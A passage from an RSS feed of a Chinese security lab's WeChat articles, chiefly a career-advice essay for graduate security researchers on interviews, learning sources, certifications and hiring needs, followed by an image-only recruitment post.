原创 <span>毁三观大人</span> <span>2023-08-31 09:30</span> <span style="display: inline-block;">山东</span>
</p>

<p>安全行业是一个竞争非常激烈的领域，在这样的环境下，外界的评价和业界标准往往会影响我们对自己能力的认知。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0cd64e9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OE15ZDb3hkq8xYLbqDmOoERSyfwlMfF5M3hIpKseRM9ibM17OIhCviaYhkq0QdTBbicQCiad3ST9TmEw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">引言：面试官与应届生的对话</span></strong><strong><span style="font-family: 宋体;font-size: 22pt;"><o:p></o:p></span></strong></h1><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">最近在招人，面了一些应届生或准应届生。在面试的最后，我经常会问，有什么想问我的吗？这次比较有意思，候选人大部分都问，请问我该怎么继续学、我还有什么地方需要加强或你对我有什么建议吗？</span><span style="font-family: 宋体;font-size: 10.5pt;"><o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">安全研究员的困境与误解</span></strong><strong><o:p></o:p></strong></h1><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 17px;font-family: 宋体;">不<span style="font-family: 宋体;">知道什么时候开始，现在的安全研究员有点不太敢想了。也有人可能说，这是因为现在网络比之前安全了，导致安全研究员怂了。但是从我自身观察，网络可能没有变得更加安全，在大家看不见的地方，各类安全事件还是频繁发生。这也反映了一个问题，那就是安全研究员不能仅仅依赖于外界的评价、预期来判断自己的能力和潜力。在我对我们实验室新人培养的时候，我从来不会跟他说这个工作有多难，而是说业务的细节，这也让我成功引导我们的应届生毕业论文选择了</span><span style="font-family: Calibri;">rasp</span><span style="font-family: 宋体;">这个方向，如果我开始就说了</span><span style="font-family: Calibri;">rasp</span><span style="font-family: 宋体;">有多难，那他们自己就先打退堂鼓了。</span><o:p></o:p></span></p><p style="color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">安全行业是一个竞争非常激烈的领域，在这样的环境下，外界的评价和业界标准往往会影响我们对自己能力的认知。因此，除了关注这些评价和标准，更重要的是要有自己可靠的信心来源。例如，我个人更看重在数据分析方面能够得出的直接和有用的结果，而不是过分依赖他人的评价。</span><span style="font-family: 宋体;font-size: 13pt;"><o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">个人经验</span></strong></h1><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">在大学快毕业的时候，我曾经给自己定了一些目标，例如入侵<span style="font-family: Calibri;">topX</span>以内的所有公司。为什么我要这么做呢，因为那个时代，只有入侵才能证明一个人的能力，如果我没能力入侵<span style="font-family: Calibri;">xxx</span>，那你怎么说我是一名黑客呢？当然，入侵的这些地方，漏洞我都交给他们的<span style="font-family: Calibri;">src</span>了<span style="font-family: Calibri;">&gt;&lt;</span>。这样的目标设定，虽然现在看起来有些极端，但它至少给了我一个明确的方向和激励，让我知道要朝哪个方向努力。</span><span style="font-family: 宋体;font-size: 10.5pt;"><o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">超越表面：真正的能力标准</span></strong><strong><span style="font-family: 宋体;font-size: 22pt;"><o:p></o:p></span></strong></h1><p style="color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">也有人会说，挖洞吗？谁都会挖。我当然定的不是这种水货目标，我定的是打到内网，拿到核心数据，这才算完。</span><span style="font-family: 宋体;font-size: 13pt;"><o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">从雇主角度看应届生</span></strong><strong><span style="font-family: 宋体;font-size: 22pt;"><o:p></o:p></span></strong></h1><p style="color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 13pt;">回到给应届安全研究员建议的这个问题上。如果真的想让别人刮目相看，你至少得整点狠活。狠活，如果不知道什么是狠活，那就自己收集一些近年来各大安全会议的ppt，选一些自己觉得很牛的当作狠活的参考。当然，狠活不仅仅是技术层面的，还包括如何与团队合作，如何高效解决问题，以及如何在压力下保持冷静。<o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">工作需求与市场</span></strong><strong><span style="font-family: 宋体;font-size: 22pt;"><o:p></o:p></span></strong></h1><p style="color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 13pt;">在面试官，用人单位的角度来讲，招人实际上在做某种工作的补充。拿安卓逆向来说，某些公司招聘这个岗位往往是为了进行竞品分析。具体来说，他们想通过逆向工程来了解竞争对手的产品特性和优缺点。<span style="font-family:宋体;">更深层次是要监控自己的服务商在签了2选1协议以后，是不是跑</span>到友商又赚福利去了。<o:p></o:p></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 13pt;">所以这个工作，除了考察应聘者在逆向工程上的广度，例如潜在竞品、优势竞品和直接竞品的应用逆向能力，也会重点考察他们对能力深厚的直接竞品防御体系的对抗能力。通俗来讲，你能不能在出问题的时候迎头而上。这也意味着，作为应届生，你不仅需要有技术能力，还需要了解业务逻辑和市场需求，这样才能更好地融入团队和公司。<o:p></o:p></span></p><p style="color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 13pt;">很多公司招人的时候，都会写有XXX<span style="font-family:宋体;">排名、CVE编号、XXX证书等优先，这个其实在服务市场行为。如果大家分析过安全行业的招标文件，你们就可以发现，CVE编号也可以成为一个招标参数。CISP、PMP、CISSP、OSCP四证合一的项目经理正成为安全行业招标参数中的天选之子。工作，要服务与市场，市场要什么，工作也要做什么。</span>如果说你是做web的，我在招二进制，咱们俩肯定不会产生什么共鸣，你也会有面试挫败感。<o:p></o:p></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 13pt;">资格证书可能是一个加分项，但它绝不是决定因素。雇主更看重的是你能为公司带来什么具体的价值，你在过去的项目中有何表现，以及你的问题解决能力如何。资格证书可能能帮你打开面试的大门，但走进去之后，你需要用你的实际能力来证明自己。<o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">让自己在面试中更加出色</span></strong><strong><o:p></o:p></strong></h1><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 17px;font-family: 宋体;">面试不仅是公司评价你的机会，也是你展示自己的平台。面试时问的问题，可能就是你以后的工作。对于我来说，学习是第一位，所以我经常问一个人怎么学习。其实这是在考察你的学习能力上限。如果一个人只是看看安全咨询网站，他接触的可能都是二手信息。如果一个人加了漏洞百出、代码审计、赛博回忆录等知识星球，他就可以接触到一手的安全信息。如果一个人英语很好，跟安全研究员们谈笑风生，那他可能就是一手信息的来源。所以，记住，面试考察的不仅仅是技术能力。<o:p></o:p></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 17px;font-family: 宋体;">还有就是，我建议候选人更直接一点，直接问面试官现在有什么难题需要解决。因为我每次换工作都是这么换的，有没有需要解决的难题，没有难题让我解决我也不想来。<o:p></o:p></span></p><h1 style="margin-top: 17pt;margin-bottom: 16.5pt;break-after: avoid;line-height: 70.4px;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><strong><span style="font-size: 22pt;font-family: 宋体;">总结</span></strong><strong><o:p></o:p></strong></h1><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">在这个快节奏的时代，不仅要有出色的技术能力，还要能快速适应不断变化的市场需求和业务环境。拿到面试的机会是第一步，如何让面试官记住你，并确信你能为公司带来价值，才是关键。</span><o:p></o:p></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-family: 宋体;font-size: 17px;">最后，有兴趣的可以关注下方的招聘信息。</span><span style="font-family: 宋体;font-size: 10.5pt;"><o:p></o:p></span></p><p><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=496f3a7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OumUONMObxBm3FRukkbSMWUYTcIibMQlq3OvLaQW7KL028ictW9grY1QtdmuouwPicQMUY5kAUmAic9A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247487987">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1233293b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247487987%26idx%3D1%26sn%3Dd4a1f31e8a9fb73a44cee40669c4e503%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 31 Aug 2023 09:30:00 +0800</pubDate>
    </item>
    <item>
      <title>中孚信息秋季人才招聘｜元亨实验室等你来</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247487982&amp;idx=1&amp;sn=6b6619c1aa5fb39568ca6eb040fb2da6</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>元亨实验室</span> <span>2023-08-23 19:38</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=624ca4a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OumUONMObxBm3FRukkbSMWj5sTrppGhiaJzibBDc50bic0XeYpm4YlfLSicV4Ttxb5e56TDqHMpbGepQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><section style="display: inline-block;"><img data-ratio="1.778125" data-w="1280" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=0302f1cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OumUONMObxBm3FRukkbSMWUYTcIibMQlq3OvLaQW7KL028ictW9grY1QtdmuouwPicQMUY5kAUmAic9A%2F640%3Fwx_fmt%3Djpeg"/></section>​</section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247487982">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=741cae1e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247487982%26idx%3D1%26sn%3D6b6619c1aa5fb39568ca6eb040fb2da6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 23 Aug 2023 19:38:00 +0800</pubDate>
    </item>
  </channel>
</rss>